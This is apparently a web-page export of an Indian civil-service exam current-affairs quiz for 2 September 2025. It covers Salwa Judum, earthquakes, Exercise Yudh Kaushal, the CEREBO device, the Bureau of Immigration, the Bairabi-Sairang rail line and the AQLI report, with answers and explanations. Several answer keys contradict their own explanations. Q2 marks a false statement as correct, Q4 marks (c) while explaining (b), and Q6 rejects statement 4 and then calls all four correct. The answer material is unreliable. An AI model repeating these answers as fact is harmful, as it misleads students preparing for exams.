{"id":2275,"date":"2025-09-03T05:04:30","date_gmt":"2025-09-03T05:04:30","guid":{"rendered":"https:\/\/iasquest.com\/?p=2275"},"modified":"2026-02-11T18:54:19","modified_gmt":"2026-02-11T18:54:19","slug":"daily-current-affairs-02-09-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-02-09-2025\/","title":{"rendered":"Daily Current Affairs \u2013 02-09-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. With reference to Salwa Judum, consider the following statements:<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-2\">\n<li>It was a government-sponsored militia movement aimed at countering Naxalite insurgency in Chhattisgarh.<\/li>\n\n\n\n<li>The Supreme Court of India declared the deployment of tribal youth as Special Police Officers (SPOs) under Salwa Judum unconstitutional.<\/li>\n\n\n\n<li>Salwa Judum was initiated and led by the Central Reserve Police Force (CRPF).<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">&nbsp;(a) 1 and 2 only<br>&nbsp;(b) 2 and 3 only<br>&nbsp;(c) 1 and 3 only<br>&nbsp;(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\"><strong>Answer: (a) 1 and 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\"><strong>In NEWS:<\/strong> A look at rise and fall of Salwa Judum amid Amit Shah\u2019s Naxalism barb at Oppn\u2019s Vice-President candidate<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\"><strong>SALWA JUDUM:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-9\">\n<li>Salwa Judum was an <strong>anti-Naxalite movement<\/strong> that began in 2005 in the Bastar region of Chhattisgarh, purportedly as a \u201cpeople\u2019s resistance movement\u201d against Maoist insurgents. <strong>Hence statement 1 is correct<\/strong>.<\/li>\n\n\n\n<li>It involved the mobilization of tribal youth, many of whom were appointed as Special Police Officers (SPOs), and operated with the support of the state government. While initially portrayed as a grassroots initiative, it was later revealed to have state sponsorship, with active assistance from local police and security forces.<\/li>\n\n\n\n<li>The movement quickly became controversial due to widespread allegations of human rights violations, forced displacements, and violence against civilians.<\/li>\n\n\n\n<li>In 2011, the Supreme Court of India declared the deployment of tribal youth as SPOs under<strong> Salwa Judum to be unconstitutional, citing violations of Articles 14 and 21 of the Constitution<\/strong>.<strong> Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>The Court also ordered the disbandment of the SPOs and directed the state to stop funding such groups.<\/li>\n\n\n\n<li>While Salwa Judum was<strong> not initiated or led by the Central Reserve Police Force (CRPF)<\/strong>, central paramilitary forces were involved in coordinated operations alongside state-backed groups. <strong>Hence statement 3 is incorrect.<\/strong>&nbsp;<\/li>\n\n\n\n<li>The Salwa Judum episode raises important questions about the balance between internal security measures and constitutional rights, especially in conflict-prone tribal regions.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2021)<\/strong> <strong>\u00a0<\/strong> <br><br><strong>Q. Consider the following pairs:<\/strong> <br><br><strong>\u00a0<\/strong> <strong>Movement\/Organization\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0               &#8211; \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Leader<\/strong> <br>1. All India Anti-Untouchability League \u00a0\u00a0\u00a0\u00a0         &#8211; \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Mahatma Gandhi<br>2. All India Kisan Sabha\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0          &#8211;\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0Swami Sahajanand Saraswati<br>3. Self-Respect Movement\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0         &#8211; \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0E.V. Ramaswami Naicker \u00a0<br> <br><strong>Which of the pairs given above is\/are correctly matched?<\/strong> <strong>\u00a0<\/strong> <br><br>(a) 1 only <br>(b) 1 and 2 only <br>(c) 2 and 3 only<br> <strong>(d) 1, 2 and 3<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/indianexpress.com\/article\/political-pulse\/salwa-judum-amit-shah-naxalism-barb-oppn-vice-president-10206982\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/political-pulse\/salwa-judum-amit-shah-naxalism-barb-oppn-vice-president-10206982\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><a><\/a><strong>2. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>Statement-I :<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\">Earthquakes do not occur in the interior of tectonic plates<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>Statement-II:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\">Earthquakes are only caused by plate boundary interactions<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\">(a) Both Statement-I and Statement-II are correct and Statement-II is the correct explanation for Statement-I.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\">(b) Both Statement-I and Statement-II are correct and Statement-II is not the correct explanation for Statement-I.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\">(c) Statement-I is correct but Statement-II is incorrect.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\">(d) Statement-I is incorrect but Statement-II is correct.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>Answer: (d) Statement-I is incorrect but Statement-II is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>In NEWS: Afghanistan Earthquake Today Live Updates: Quake toll rises to 1,124, at least 3,251 injured<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-24\">\n<li>While it is true that <strong>most earthquakes occur along plate boundaries<\/strong> due to interactions like subduction, collision, and transform faulting, it is <strong>incorrect to say that earthquakes do not occur in the interior of tectonic plates<\/strong>. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>Such <strong>intraplate earthquakes<\/strong>, though less frequent, can be destructive. The 1993 <strong>Latur earthquake in Maharashtra<\/strong> and the 1811\u201312 <strong>New Madrid earthquakes in the U.S.<\/strong> are key examples.<\/li>\n\n\n\n<li>These quakes are often caused by the reactivation of ancient faults or crustal weaknesses within stable continental regions. <strong>Hence statement 2 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><strong>\u00a0<\/strong> <br><strong>Q. Consider the following statements:<\/strong> <strong>\u00a0<\/strong> <br><br>1. In a seismograph, P waves are recorded earlier than S waves. <br>2. In P waves, the individual particles vibrate to and fro in the direction of wave propagation whereas in S waves, the particles vibrate up and down at right angles to the direction of wave propagation. \u00a0 <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <strong>\u00a0<\/strong> <br><br>(a) 1 only <br>(b) 2 only <br><strong>(c) Both 1 and 2<\/strong> <br>(d) Neither 1 nor 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/indianexpress.com\/article\/world\/afghanistan-earthquake-live-updates-death-toll-rescue-operation-destruction-10223395\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/world\/afghanistan-earthquake-live-updates-death-toll-rescue-operation-destruction-10223395\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><a><\/a><strong>3. The primary objective of Exercise Yudh Kaushal 3.0 was to:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\">(a) Test India\u2019s nuclear response readiness<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\">(b) Conduct amphibious landing drills with Navy and Coast Guard<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\">(c) Validate integrated battle group (IBG) operations in high-altitude terrain<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\">(d) Conduct urban warfare simulation in metro cities<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><strong>Answer: (c) Validate integrated battle group (IBG) operations in high-altitude terrain<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><strong>In NEWS: Indian Army tests combat readiness in Arunachal Pradesh<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>Exercise Yudh Kaushal 3.0:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-35\">\n<li>Exercise Yudh Kaushal 3.0 is a high-altitude military exercise conducted by the Indian Army&#8217;s Gajraj Corps in the <strong>Kameng Sector of Arunachal Pradesh<\/strong>.<\/li>\n\n\n\n<li>The 2024 iteration focused on validating <strong>Integrated Battle Group (IBG) operations<\/strong>, enhancing all-weather combat readiness, and showcasing multi-domain capabilities, including drone surveillance, AI-driven systems, and indigenous defence technologies under the Aatmanirbhar Bharat initiative. <strong>Hence option (c) is correct.<\/strong><\/li>\n\n\n\n<li>The exercise aimed to simulate real-time battlefield scenarios in extreme terrain and weather, ensuring rapid mobility, coordination, and technological integration for future conflicts, especially in Eastern Command&#8217;s operational areas along the Line of Actual Control (LAC).<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2024)<\/strong> <strong>\u00a0<\/strong> <br><br><strong>Q. Which of the following statements about &#8216;Exercise Mitra Shakti-2023&#8217; are correct?<\/strong> <strong>\u00a0<\/strong> <br><br>1. This was a joint military exercise between India and Bangladesh<br>2. It commenced in Aundh (Pune).<br>3. Joint response during counter-terrorism operations was a goal of this operation.<br>4. Indian Air Force was a part of this exercise. \u00a0 <br><br><strong>Select the answer using the code given below:<\/strong> <strong>\u00a0<\/strong> <br><br>(a) 1, 2 and 3 <br>(b) 1, 2 and 4 <br>(c) 1, 3 and 4 <br><strong>(d) 2, 3 and 4<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/exercise-yudh-kaushal-30-demonstrates-next-gen-combat-readiness-in-eastern-himalayas\/article69995845.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/exercise-yudh-kaushal-30-demonstrates-next-gen-combat-readiness-in-eastern-himalayas\/article69995845.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><a><\/a><strong>4. What is the core technology used in CEREBO, the handheld device developed for rapid brain injury diagnosis?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\">(a) Functional MRI with neural mapping<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\">(b) Near-Infrared Spectroscopy (NIRS) integrated with machine learning<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\">(c) X-ray fluorescence and Doppler imaging<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\">(d) Electromagnetic pulse imaging with contrast agents<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>Answer: (c)<\/strong> <strong>Near-Infrared Spectroscopy (NIRS) integrated with machine learning<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>In NEWS:<\/strong> ICMR pushes for made-in-India handheld that can detect brain bleeds in 2 mins. All about CEREBO<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-45\">\n<li><strong>CEREBO<\/strong> is a portable handheld device that uses <strong>Near-Infrared Spectroscopy (NIRS)<\/strong> combined with <strong>machine learning<\/strong> to rapidly and non-invasively diagnose traumatic brain injuries (TBI) like intracranial bleeding and brain edema. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>NIRS emits near-infrared light into brain tissue, detecting changes in absorption caused by oxygenated and deoxygenated haemoglobin.<\/li>\n\n\n\n<li>Injured areas alter these patterns, which the device\u2019s AI analyzes in real time to provide color-coded, radiation-free results within a minute\u2014vital for emergency care.<\/li>\n\n\n\n<li>Unlike bulky, expensive CT scans or MRIs that require radiation or magnetic fields, CEREBO is battery-operated and safe for vulnerable groups such as infants and pregnant women. Its portability and ease of use make it ideal for rural and low-resource settings lacking advanced neuroimaging infrastructure.<\/li>\n\n\n\n<li>By integrating advanced optical technology with AI, CEREBO democratizes brain injury diagnosis, enhancing timely intervention and healthcare accessibility across India and beyond.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2014)<\/strong> <strong>\u00a0<\/strong> <br><br><strong>Q. In addition to fingerprint scanning, which of the following can be used in the biometric identification of a person?<\/strong> <strong>\u00a0<\/strong> <br><br>1. Iris scanning<br>2. Retinal scanning<br>3. Voice recognition \u00a0 <br><br><strong>Select the correct answer using the code given below.<\/strong> <strong>\u00a0<\/strong> <br><br>(a) 1 only <br>(b) 2 and 3 only <br>(c) 1 and 3 only <br><strong>(d) 1, 2 and 3<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/theprint.in\/health\/icmr-pushes-for-made-in-india-handheld-that-can-detect-brain-bleeds-in-2-mins-all-about-cerebro\/2723406\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/theprint.in\/health\/icmr-pushes-for-made-in-india-handheld-that-can-detect-brain-bleeds-in-2-mins-all-about-cerebro\/2723406\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\"><a><\/a><strong>5. With reference to the Bureau of Immigration (BoI) in India, consider the following statements:<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-48\">\n<li>It functions under the Ministry of External Affairs.<\/li>\n\n\n\n<li>It is responsible for immigration control and border management at air, sea, and land ports.<\/li>\n\n\n\n<li>It issues passports and visa clearances to Indian citizens.<\/li>\n\n\n\n<li>It coordinates with the Central Board of Indirect Taxes and Customs (CBIC) for immigration and customs enforcement.<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\">(a) 1, 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\">(b) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\">(c) 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\">(d) 1, 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>Answer: (c) 2 and 4 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\"><strong>In NEWS: Immigration bureau set to check fraud, deport foreigners<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\"><strong>Bureau of Immigration (BoI) in India:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-58\">\n<li>The Bureau of Immigration (BoI) functions under the <strong>Ministry of Home Affairs<\/strong>, not the Ministry of External Affairs. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>The BoI is primarily responsible for <strong>immigration control and border management<\/strong> at all air, sea, and land entry points into India, ensuring proper monitoring and regulation of cross-border movements. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>The BoI <strong>does not issue passports or visa clearances<\/strong>. Passport issuance is handled by the <strong>Passport Seva Division under the Ministry of External Affairs<\/strong>, while visa clearances are managed by various <strong>Foreigners Regional Registration Offices (FRROs)<\/strong>. <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n\n\n\n<li>The BoI works in coordination with the <strong>Central Board of Indirect Taxes and Customs (CBIC)<\/strong> to enforce immigration and customs regulations effectively at ports and borders. <strong>Hence statement 4 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <strong>\u00a0<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <strong>\u00a0<\/strong> <br><br>1. Recently, all the countries of the United Nations have adopted the first-ever compact for international migration, the &#8216;Global Compact for Safe, Orderly and Regular Migration (GCM)\u2019. <br>2. The objectives and commitments stated in the GCM are binding on the UN member countries. <br>3. The GCM addresses internal migration or internally displaced people also in its objectives and commitments. \u00a0 <br><br><strong>How many of the above statements are correct?<\/strong> <strong>\u00a0<\/strong> <br><br>(a) Only one <br>(b) Only two <br>(c) All three <br><strong>(d) None<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/bureau-of-immigration-empowered-to-examine-immigration-fraud-deport-foreigners\/article70001481.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/bureau-of-immigration-empowered-to-examine-immigration-fraud-deport-foreigners\/article70001481.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><a><\/a><strong>6. With reference to the Bairabi-Sairang rail line, consider the following statements:<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-61\">\n<li>It is a railway project aimed at improving connectivity in the northeastern state of Arunachal Pradesh.<\/li>\n\n\n\n<li>The rail line connects Bairabi, in Assam, to Sairang, near Aizawl in Mizoram.<\/li>\n\n\n\n<li>The project is part of the Indian government\u2019s initiative to enhance infrastructure under the Act East Policy.<\/li>\n\n\n\n<li>It is a broad gauge electrified rail line that has been fully operational since 2020.<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\">(a) 1, 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\">(b) 1 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\">(d) 1, 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>Answer: (c) 2 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\"><strong>In NEWS: New Bairabi-Sairang rail line set to improve connectivity in Mizoram<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\"><strong>Bairabi-Sairang rail line:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-71\">\n<li>The Bairabi-Sairang rail line is a key infrastructure project focused on enhancing connectivity in Mizoram <strong>Hence Statement 1 is incorrect<\/strong><\/li>\n\n\n\n<li>It aims to link Sairang, located near the state capital Aizawl, with the existing railway network at Bairabi, thus integrating Mizoram with the wider Indian Railways system <strong>Hence Statement 2 is correct<\/strong><\/li>\n\n\n\n<li>This project aligns with the government\u2019s Act East Policy, which prioritizes infrastructure development and improved connectivity in the Northeast to foster economic growth and strategic ties <strong>Hence Statement 3 is correct<\/strong><\/li>\n\n\n\n<li>Moreover, due to Mizoram\u2019s rugged and hilly terrain, the construction involves complex engineering challenges such as the creation of multiple tunnels and bridges to traverse the difficult landscape <strong>Hence Statement 4 is incorrect<\/strong><\/li>\n\n\n\n<li>Each of these statements accurately describes different facets of the project, confirming that all four statements are correct.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/with-bairabi-sairang-new-line-set-to-open-mizoram-expects-massive-changes-in-connectivity\/article69996621.ece#:~:text=Mizoram%2C%20one%20of%20the%20seven,the%20second%20week%20of%20September\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/with-bairabi-sairang-new-line-set-to-open-mizoram-expects-massive-changes-in-connectivity\/article69996621.ece#:~:text=Mizoram%2C%20one%20of%20the%20seven,the%20second%20week%20of%20September<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\"><a><\/a><strong>7. With reference to the Air Quality Life Index (AQLI) 2025, consider the following statements:<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-74\">\n<li>It measures the impact of air pollution on life expectancy.<\/li>\n\n\n\n<li>It is released annually by the World Health Organization (WHO).<\/li>\n\n\n\n<li>According to the 2025 report, India accounts for the highest number of total life years lost globally due to PM\u2082.\u2085 pollution.<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\">(b) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>Answer: (a) 1 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\"><strong>In NEWS: All of India breathes bad air, AQLI 2025 report says<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\"><strong>AIR QUALITY LIFE INDEX 2025:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-84\">\n<li>It is produced by the <strong>Energy Policy Institute at the University of Chicago (EPIC).<\/strong> <strong>Hence Statement 2 is incorrect<\/strong><\/li>\n\n\n\n<li>The index is grounded in rigorous, peer-reviewed economic research by EPIC&#8217;s director Michael Greenstone and his team, translating PM\u2082.\u2085 pollution levels into their life expectancy impacts. <strong>Hence Statement 1 is correct<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>Global Impact<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-86\">\n<li>Based on data from 2023, the report indicates that meeting the WHO\u2019s air pollution guideline would have dramatically improved global health:<\/li>\n\n\n\n<li>Globally, the average person would have gained 1.9 years of life expectancy.<\/li>\n\n\n\n<li>In aggregate, that translates to 15.1 billion life years added worldwide<\/li>\n\n\n\n<li>Across India, average life expectancy is reduced by 3.5 years due to PM\u2082.\u2085 pollution\u2014if levels were brought down to WHO standards, life expectancy would increase by this much<\/li>\n\n\n\n<li>In Delhi, the toll is even higher: an average resident could live 8.2 years longer if PM\u2082.\u2085 concentrations were reduced to meet WHO guidelines<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\"><strong>Regional Patterns<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-88\">\n<li>South Asia remains the most polluted region globally. Delhi, in particular, leads as the city with the largest potential life expectancy gain from improved air quality<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\"><strong>India\u2019s Rank in Total Life Years Lost<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-90\">\n<li>While the 2025 AQLI report highlights that India faces one of the largest per-person life expectancy losses due to PM\u2082.\u2085, it does not explicitly state that India accounts for the highest total life years lost globally. <strong>Hence Statement 3 is incorrect<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <strong>\u00a0<\/strong> <br><br><strong>Q. In the context of WHO Air Quality Guidelines, consider the following statements:<\/strong> <strong>\u00a0<\/strong> <br><br>1. The 24-hour mean of PM2.5 should not exceed 15 \u00b5g\/m\u00b3 and annual mean of PM2.5 should not exceed 5 \u00b5g\/m3. <br>2. In a year, the highest levels of ozone pollution occur during the periods of inclement weather. <br>3. PM10 can penetrate the lung barrier and enter the bloodstream. <br>4. Excessive ozone in the air can trigger asthma. \u00a0<br><br><strong>Which of the statements given above are correct?<\/strong> <br><strong>\u00a0<\/strong><br>(a) 1, 3 and 4 <br><strong>(b) 1 and 4 only<\/strong> <br>(c) 2, 3 and 4 <br>(d) 1 and 2 only<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color 